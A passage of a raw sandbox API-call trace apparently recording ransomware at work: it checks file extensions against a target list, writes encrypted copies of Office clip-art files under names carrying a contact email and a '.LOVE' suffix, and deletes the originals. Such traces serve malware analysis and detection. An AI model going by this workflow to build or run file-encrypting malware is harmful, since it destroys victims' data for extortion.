-1 [0208.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0208.642] lstrlenW (lpString=".dbf") returned 4 [0208.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0208.642] lstrlenW (lpString=".1cd") returned 4 [0208.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0208.642] lstrlenW (lpString=".jpg") returned 4 [0208.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.643] GetLastError () returned 0x0 [0208.643] ReadFile (in: hFile=0x368, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x32c, lpOverlapped=0x0) returned 1 [0208.644] WriteFile (in: hFile=0x348, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x330, lpOverlapped=0x0) returned 1 [0208.645] ReadFile (in: hFile=0x368, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.645] WriteFile (in: hFile=0x348, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.645] SetEndOfFile (hFile=0x348) returned 1 [0208.645] CloseHandle (hObject=0x348) returned 1 [0208.645] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.645] SetEndOfFile (hFile=0x368) returned 1 [0208.646] CloseHandle (hObject=0x368) returned 1 [0208.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 1 [0208.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0208.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0208.646] lstrlenW (lpString=".doc") returned 4 [0208.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.646] lstrlenW (lpString=".docx") returned 5 [0208.646] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.646] lstrlenW (lpString=".pdf") returned 4 [0208.647] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.647] lstrlenW (lpString=".xls") returned 4 [0208.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.647] lstrlenW (lpString=".xlsx") returned 5 [0208.647] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.647] lstrlenW (lpString=".ppt") returned 4 [0208.647] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0208.647] lstrlenW (lpString=".zip") returned 4 [0208.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.647] lstrlenW (lpString=".rar") returned 4 [0208.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.647] lstrlenW (lpString=".bz2") returned 4 [0208.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.647] lstrlenW (lpString=".7z") returned 3 [0208.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0208.647] lstrlenW (lpString=".dbf") returned 4 [0208.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0208.647] lstrlenW (lpString=".1cd") returned 4 [0208.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0208.647] lstrlenW (lpString=".jpg") returned 4 [0208.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.654] GetLastError () returned 0x0 [0208.654] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x332e, lpOverlapped=0x0) returned 1 [0208.687] WriteFile (in: hFile=0x368, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x3330, lpOverlapped=0x0) returned 1 [0208.688] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.688] WriteFile (in: hFile=0x368, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.688] SetEndOfFile (hFile=0x368) returned 1 [0208.688] CloseHandle (hObject=0x368) returned 1 [0208.688] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.688] SetEndOfFile (hFile=0x33c) returned 1 [0208.689] CloseHandle (hObject=0x33c) returned 1 [0208.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.690] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 1 [0208.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0208.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0208.690] lstrlenW (lpString=".doc") returned 4 [0208.690] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.690] lstrlenW (lpString=".docx") returned 5 [0208.690] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.690] lstrlenW (lpString=".pdf") returned 4 [0208.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.690] lstrlenW (lpString=".xls") returned 4 [0208.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.690] lstrlenW (lpString=".xlsx") returned 5 [0208.690] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.690] lstrlenW (lpString=".ppt") returned 4 [0208.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0208.690] lstrlenW (lpString=".zip") returned 4 [0208.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.690] lstrlenW (lpString=".rar") returned 4 [0208.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.690] lstrlenW (lpString=".bz2") returned 4 [0208.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.690] lstrlenW (lpString=".7z") returned 3 [0208.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0208.691] lstrlenW (lpString=".dbf") returned 4 [0208.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0208.691] lstrlenW (lpString=".1cd") returned 4 [0208.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0208.691] lstrlenW (lpString=".jpg") returned 4 [0208.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.700] GetLastError () returned 0x0 [0208.700] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x6ba0, lpOverlapped=0x0) returned 1 [0208.831] WriteFile (in: hFile=0x388, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x6bb0, lpOverlapped=0x0) returned 1 [0208.833] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.833] WriteFile (in: hFile=0x388, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.833] SetEndOfFile (hFile=0x388) returned 1 [0208.833] CloseHandle (hObject=0x388) returned 1 [0208.833] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.833] SetEndOfFile (hFile=0x2cc) returned 1 [0208.834] CloseHandle (hObject=0x2cc) returned 1 [0208.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0208.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0208.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0208.835] lstrlenW (lpString=".doc") returned 4 [0208.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.835] lstrlenW (lpString=".docx") returned 5 [0208.835] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.835] lstrlenW (lpString=".pdf") returned 4 [0208.835] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.835] lstrlenW (lpString=".xls") returned 4 [0208.835] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.835] lstrlenW (lpString=".xlsx") returned 5 [0208.835] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.835] lstrlenW (lpString=".ppt") returned 4 [0208.835] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0208.836] lstrlenW (lpString=".zip") returned 4 [0208.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.836] lstrlenW (lpString=".rar") returned 4 [0208.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.836] lstrlenW (lpString=".bz2") returned 4 [0208.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.836] lstrlenW (lpString=".7z") returned 3 [0208.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0208.836] lstrlenW (lpString=".dbf") returned 4 [0208.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0208.836] lstrlenW (lpString=".1cd") returned 4 [0208.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0208.836] lstrlenW (lpString=".jpg") returned 4 [0208.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.891] GetLastError () returned 0x0 [0208.891] ReadFile (in: hFile=0x374, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xd16, lpOverlapped=0x0) returned 1 [0208.923] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xd20, lpOverlapped=0x0) returned 1 [0208.924] ReadFile (in: hFile=0x374, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.924] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xe4, lpOverlapped=0x0) returned 1 [0208.924] SetEndOfFile (hFile=0x384) returned 1 [0208.924] CloseHandle (hObject=0x384) returned 1 [0208.924] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.924] SetEndOfFile (hFile=0x374) returned 1 [0208.925] CloseHandle (hObject=0x374) returned 1 [0208.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.926] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 1 [0208.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0208.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0208.926] lstrlenW (lpString=".doc") returned 4 [0208.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.926] lstrlenW (lpString=".docx") returned 5 [0208.926] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0208.926] lstrlenW (lpString=".pdf") returned 4 [0208.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.926] lstrlenW (lpString=".xls") returned 4 [0208.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.926] lstrlenW (lpString=".xlsx") returned 5 [0208.926] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0208.926] lstrlenW (lpString=".ppt") returned 4 [0208.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0208.926] lstrlenW (lpString=".zip") returned 4 [0208.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.926] lstrlenW (lpString=".rar") returned 4 [0208.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.926] lstrlenW (lpString=".bz2") returned 4 [0208.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.926] lstrlenW (lpString=".7z") returned 3 [0208.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0208.927] lstrlenW (lpString=".dbf") returned 4 [0208.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0208.927] lstrlenW (lpString=".1cd") returned 4 [0208.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0208.927] lstrlenW (lpString=".jpg") returned 4 [0208.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.927] GetLastError () returned 0x0 [0208.927] ReadFile (in: hFile=0x374, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x414, lpOverlapped=0x0) returned 1 [0208.955] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x420, lpOverlapped=0x0) returned 1 [0208.956] ReadFile (in: hFile=0x374, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.956] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.957] SetEndOfFile (hFile=0x384) returned 1 [0208.957] CloseHandle (hObject=0x384) returned 1 [0208.957] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.957] SetEndOfFile (hFile=0x374) returned 1 [0208.958] CloseHandle (hObject=0x374) returned 1 [0208.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0208.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0208.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0208.958] lstrlenW (lpString=".doc") returned 4 [0208.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.958] lstrlenW (lpString=".docx") returned 5 [0208.958] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.958] lstrlenW (lpString=".pdf") returned 4 [0208.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.958] lstrlenW (lpString=".xls") returned 4 [0208.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.959] lstrlenW (lpString=".xlsx") returned 5 [0208.959] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.959] lstrlenW (lpString=".ppt") returned 4 [0208.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0208.959] lstrlenW (lpString=".zip") returned 4 [0208.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.959] lstrlenW (lpString=".rar") returned 4 [0208.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.959] lstrlenW (lpString=".bz2") returned 4 [0208.959] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.959] lstrlenW (lpString=".7z") returned 3 [0208.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0208.959] lstrlenW (lpString=".dbf") returned 4 [0208.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0208.959] lstrlenW (lpString=".1cd") returned 4 [0208.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0208.959] lstrlenW (lpString=".jpg") returned 4 [0208.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.960] GetLastError () returned 0x0 [0208.960] ReadFile (in: hFile=0x374, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x1370, lpOverlapped=0x0) returned 1 [0209.005] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x1380, lpOverlapped=0x0) returned 1 [0209.006] ReadFile (in: hFile=0x374, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.006] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.006] SetEndOfFile (hFile=0x384) returned 1 [0209.006] CloseHandle (hObject=0x384) returned 1 [0209.007] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.007] SetEndOfFile (hFile=0x374) returned 1 [0209.007] CloseHandle (hObject=0x374) returned 1 [0209.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0209.008] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0209.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0209.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0209.008] lstrlenW (lpString=".doc") returned 4 [0209.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.008] lstrlenW (lpString=".docx") returned 5 [0209.008] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0209.008] lstrlenW (lpString=".pdf") returned 4 [0209.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.008] lstrlenW (lpString=".xls") returned 4 [0209.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.008] lstrlenW (lpString=".xlsx") returned 5 [0209.008] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0209.008] lstrlenW (lpString=".ppt") returned 4 [0209.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0209.008] lstrlenW (lpString=".zip") returned 4 [0209.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.008] lstrlenW (lpString=".rar") returned 4 [0209.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.008] lstrlenW (lpString=".bz2") returned 4 [0209.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.008] lstrlenW (lpString=".7z") returned 3 [0209.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0209.008] lstrlenW (lpString=".dbf") returned 4 [0209.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0209.009] lstrlenW (lpString=".1cd") returned 4 [0209.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0209.009] lstrlenW (lpString=".jpg") returned 4 [0209.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.009] GetLastError () returned 0x0 [0209.009] ReadFile (in: hFile=0x374, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x31f4, lpOverlapped=0x0) returned 1 [0209.013] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x3200, lpOverlapped=0x0) returned 1 [0209.014] ReadFile (in: hFile=0x374, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.014] 